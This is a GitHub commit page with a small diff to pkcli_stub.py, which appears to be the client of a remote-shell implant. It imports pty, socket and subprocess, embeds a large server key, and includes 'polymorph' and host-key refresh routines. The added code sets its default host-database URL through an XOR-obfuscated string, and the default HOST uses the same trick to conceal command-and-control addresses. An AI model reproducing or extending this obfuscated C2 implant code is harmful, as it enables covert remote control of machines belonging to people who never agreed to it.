Skip to content

Commit

Permalink
Allow HDB url to be passed as an environment variable (HDB=?)
Browse files Browse the repository at this point in the history
  • Loading branch information
cflems committed Dec 20, 2023
1 parent 844b2fe commit 7bfd9e9
Showing 1 changed file with 5 additions and 4 deletions.
9 changes: 5 additions & 4 deletions pkcli_stub.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
import os, sys, socket, time, signal, subprocess, selectors, pty, requests

server_modulus = 566985700738319622174686131400034453643720466970978517574628629274979976524124940713860540038882426013024114564601644133774454954579859603022526047211561634473245368041734849645333850659593387029777461624139999293346678168096585398894872902836488432305321788895930893995350254306011511954048973993218576068120842406854381660868440914954041085267631248545101914138883676131275460708745009456577214046268195248043933401098454229528930264593554947172986600022924103676180205323189749504546460222696144254434950563003806500524021358243739253925888283568187475109036444929999292467231057057868003949542201486910774286204467263359268168124928585201908563486221036238676222817747434022603388355897696091620276281574099795985472307965135468502881374317279001616973398539298555877212283138431306761372378738101671232030286096798836533645647014376468992868000495595560982785914820504104078715279785802300066599327401921364225207587243296778060887445799525002269634182195900334989318967452442166075135355126785800284396564017524632233821326493688824504309419677467169118434525079593731269479730143537689127087750148171355493757239210404790175123435648784211703985569364347710928586741341454862278795609365544396160373248258804813219121521794117
hostkeys_url = "https://war.cflems.net/hosts.json"
hdb = {}

args_used = 0
Expand All @@ -26,7 +25,9 @@ def chm (eky):
return ''.join([chr(ord(qjv)^0x4c) for qjv in eky])

def main():
port, bits = 2236, 4096
global hdb_url
port = 2236
hdb_url = get_param('HDB', 'hdb=', chm('$88<?vcc;->b/* )!?b")8c$#?8?b&?#"'))
ha = get_param('HOST', 'host=', chm('?)\'b/* )!?b")8'))
tts = int(get_param('TTS', 'tts=', 60*30))
bits = int(get_param('BITS', 'bits=', 4096))
Expand Down Expand Up @@ -62,9 +63,9 @@ def polymorph():
sys.exit(0)

def refresh_hdb():
global hostkeys_url, hdb
global hdb, hdb_url
try:
resp = requests.get(hostkeys_url)
resp = requests.get(hdb_url)
resp.close()
if resp.status_code != 200:
return False
Expand Down

0 comments on commit 7bfd9e9

Please sign in to comment.